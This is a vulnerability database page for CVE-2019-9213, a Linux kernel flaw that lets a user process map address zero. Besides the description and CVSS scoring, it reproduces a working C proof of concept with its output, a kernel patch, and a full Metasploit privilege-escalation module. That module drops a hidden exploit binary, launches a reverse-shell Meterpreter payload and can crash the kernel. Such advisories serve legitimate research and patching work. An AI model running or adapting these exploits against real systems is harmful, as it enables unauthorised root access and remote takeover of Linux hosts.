CVE-2019-9213 Detail

CVE-2019-9213

Score / Severity

5.5

Medium

CVE Descriptions

In the Linux kernel before 4.20.14, expand_downwards in mm/mmap.c lacks a check for the mmap minimum address, which makes it easier for attackers to exploit kernel NULL pointer dereferences on non-SMAP platforms. This is related to a capability check for the wrong task.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-476	NULL Pointer Dereference The product dereferences a pointer that it expects to be valid but is NULL.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.1	5.5	MEDIUM	CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Local The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. Low The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. None There is no loss of confidentiality within the impacted component. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. None There is no loss of integrity within the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	nvd@nist.gov
V2	4.9		AV:L/AC:L/Au:N/C:N/I:N/A:C	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 46502

Publication date : 2019-03-05 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

By following the codepath that Andrea Arcangeli pointed out in his mails regarding the last bug I reported, I noticed that it is possible for userspace on a normal distro to map virtual address 0, which on an X86 system without SMAP enables the exploitation of kernel NULL pointer dereferences. The problem is in the following code path: mem_write -> mem_rw -> access_remote_vm -> __access_remote_vm -> get_user_pages_remote -> __get_user_pages_locked -> __get_user_pages -> find_extend_vma Then, if the VMA in question has the VM_GROWSDOWN flag set: expand_stack -> expand_downwards -> security_mmap_addr -> cap_mmap_addr This, if the address is below dac_mmap_min_addr, does a capability check: ret = cap_capable(current_cred(), &init_user_ns, CAP_SYS_RAWIO, SECURITY_CAP_AUDIT); But this check is performed against current_cred(), which are the creds of the task doing the write(), not the creds of the task whose VMA is being changed. To reproduce: =============================================================== user@deb10:~/stackexpand$ cat nullmap.c #include <sys/mman.h> #include <err.h> #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> int main(void) { void *map = mmap((void*)0x10000, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_GROWSDOWN|MAP_FIXED, -1, 0); if (map == MAP_FAILED) err(1, "mmap"); int fd = open("/proc/self/mem", O_RDWR); if (fd == -1) err(1, "open"); unsigned long addr = (unsigned long)map; while (addr != 0) { addr -= 0x1000; if (lseek(fd, addr, SEEK_SET) == -1) err(1, "lseek"); char cmd[1000]; sprintf(cmd, "LD_DEBUG=help su 1>&%d", fd); system(cmd); } system("head -n1 /proc/$PPID/maps"); printf("data at NULL: 0x%lx\n", *(unsigned long *)0); } user@deb10:~/stackexpand$ gcc -o nullmap nullmap.c && ./nullmap 00000000-00011000 rw-p 00000000 00:00 0 data at NULL: 0x706f2064696c6156 user@deb10:~/stackexpand$ =============================================================== I would like it if we could just get rid of the "you can map NULL if you're root" thing, but we probably don't want to unconditionally do that as a backported fix. Is there any chance that someone is legitimately using a stack that grows down and is located in the restricted address space range? Does DOSEMU rely on stack expansion? If not, maybe we could just change expand_downwards() to always reject expansion below dac_mmap_min_addr no matter who you are? A quick grep for "GROWSDOWN" in the DOSEMU sources has no results... So, how about this patch? (Copy attached with proper indent.) =============================================================== From a237de4f41ccddf9c31935c68af4589735c8348d Mon Sep 17 00:00:00 2001 From: Jann Horn <jannh@google.com> Date: Wed, 27 Feb 2019 21:29:52 +0100 Subject: [PATCH] mm: enforce min addr even if capable() in expand_downwards() security_mmap_addr() does a capability check with current_cred(), but we can reach this code from contexts like a VFS write handler where current_cred() must not be used. This can be abused on systems without SMAP to make NULL pointer dereferences exploitable again. Fixes: 8869477a49c3 ("security: protect from stack expantion into low vm addresses") Cc: stable@kernel.org Signed-off-by: Jann Horn <jannh@google.com> --- mm/mmap.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/mm/mmap.c b/mm/mmap.c index f901065c4c64..fc1809b1bed6 100644 --- a/mm/mmap.c +++ b/mm/mmap.c @@ -2426,12 +2426,11 @@ int expand_downwards(struct vm_area_struct *vma, { struct mm_struct *mm = vma->vm_mm; struct vm_area_struct *prev; - int error; + int error = 0; address &= PAGE_MASK; - error = security_mmap_addr(address); - if (error) - return error; + if (address < mmap_min_addr) + return -EPERM; /* Enforce stack_guard_gap */ prev = vma->vm_prev; -- 2.21.0.rc2.261.ga7da99ff1b-goog ===============================================================

Exploit Database EDB-ID : 47957

Publication date : 2020-01-22 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::Compile include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Reliable Datagram Sockets (RDS) rds_atomic_free_op NULL pointer dereference Privilege Escalation', 'Description' => %q{ This module attempts to gain root privileges on Linux systems by abusing a NULL pointer dereference in the `rds_atomic_free_op` function in the Reliable Datagram Sockets (RDS) kernel module (rds.ko). Successful exploitation requires the RDS kernel module to be loaded. If the RDS module is not blacklisted (default); then it will be loaded automatically. This exploit supports 64-bit Ubuntu Linux systems, including distributions based on Ubuntu, such as Linux Mint and Zorin OS. Target offsets are available for: Ubuntu 16.04 kernels 4.4.0 <= 4.4.0-116-generic; and Ubuntu 16.04 kernels 4.8.0 <= 4.8.0-54-generic. This exploit does not bypass SMAP. Bypasses for SMEP and KASLR are included. Failed exploitation may crash the kernel. This module has been tested successfully on various 4.4 and 4.8 kernels. }, 'License' => MSF_LICENSE, 'Author' => [ 'Mohamed Ghannam', # Discovery of RDS rds_atomic_free_op null pointer dereference and DoS PoC (2018-5333) 'Jann Horn', # Discovery of MAP_GROWSDOWN mmap_min_addr bypass technique and PoC code (CVE-2019-9213) 'wbowling', # C exploit combining 2018-5333 and CVE-2019-9213 targeting Ubuntu 16.04 kernel 4.4.0-116-generic 'bcoles', # Metasploit module and updated C exploit 'nstarke' # Additional kernel offsets ], 'DisclosureDate' => '2018-11-01', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'CVE', '2018-5333' ], [ 'CVE', '2019-9213' ], [ 'BID', '102510' ], [ 'URL', 'https://gist.github.com/wbowling/9d32492bd96d9e7c3bf52e23a0ac30a4' ], [ 'URL', 'https://github.com/0x36/CVE-pocs/blob/master/CVE-2018-5333-rds-nullderef.c' ], [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2' ], [ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-5333.html' ], [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7d11f77f84b27cef452cee332f4e469503084737' ], [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=15133f6e67d8d646d0744336b4daa3135452cb0d' ], [ 'URL', 'https://github.com/bcoles/kernel-exploits/blob/master/CVE-2018-5333/cve-2018-5333.c' ] ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }, 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_OS_DOWN ], }, 'DefaultTarget' => 0)) register_advanced_options [ OptBool.new('ForceExploit', [ false, 'Override check result', false ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def base_dir datastore['WritableDir'].to_s end def check arch = kernel_hardware unless arch.include? 'x86_64' return CheckCode::Safe("System architecture #{arch} is not supported") end vprint_good "System architecture #{arch} is supported" offsets = strip_comments(exploit_data('CVE-2018-5333', 'cve-2018-5333.c')).scan(/kernels\[\] = \{(.+?)\};/m).flatten.first kernels = offsets.scan(/"(.+?)"/).flatten version = "#{kernel_release} #{kernel_version.split(' ').first}" unless kernels.include? version return CheckCode::Safe("Linux kernel #{version} is not vulnerable") end vprint_good "Linux kernel #{version} is vulnerable" if smap_enabled? return CheckCode::Safe('SMAP is enabled') end vprint_good 'SMAP is not enabled' if lkrg_installed? return CheckCode::Safe('LKRG is installed') end vprint_good 'LKRG is not installed' if grsec_installed? return CheckCode::Safe('grsecurity is in use') end vprint_good 'grsecurity is not in use' unless kernel_modules.include? 'rds' vprint_warning 'rds.ko kernel module is not loaded, but may be autoloaded during exploitation' return CheckCode::Detected('rds.ko kernel module is not loaded, but may be autoloaded during exploitation') end vprint_good 'rds.ko kernel module is loaded' CheckCode::Appears end def exploit unless [CheckCode::Detected, CheckCode::Appears].include? check unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end if is_root? unless datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' end end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end exploit_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" if live_compile? vprint_status 'Live compiling exploit on system...' upload_and_compile exploit_path, exploit_data('CVE-2018-5333', 'cve-2018-5333.c') else vprint_status 'Dropping pre-compiled exploit on system...' upload_and_chmodx exploit_path, exploit_data('CVE-2018-5333', 'cve-2018-5333.out') end register_file_for_cleanup exploit_path payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" upload_and_chmodx payload_path, generate_payload_exe register_file_for_cleanup payload_path # mincore KASLR bypass is usually fast, but can sometimes take up to 30 seconds to complete timeout = 30 print_status "Launching exploit (timeout: #{timeout})..." output = cmd_exec("echo '#{payload_path} & exit' | #{exploit_path}", nil, timeout) output.each_line { |line| vprint_status line.chomp } end end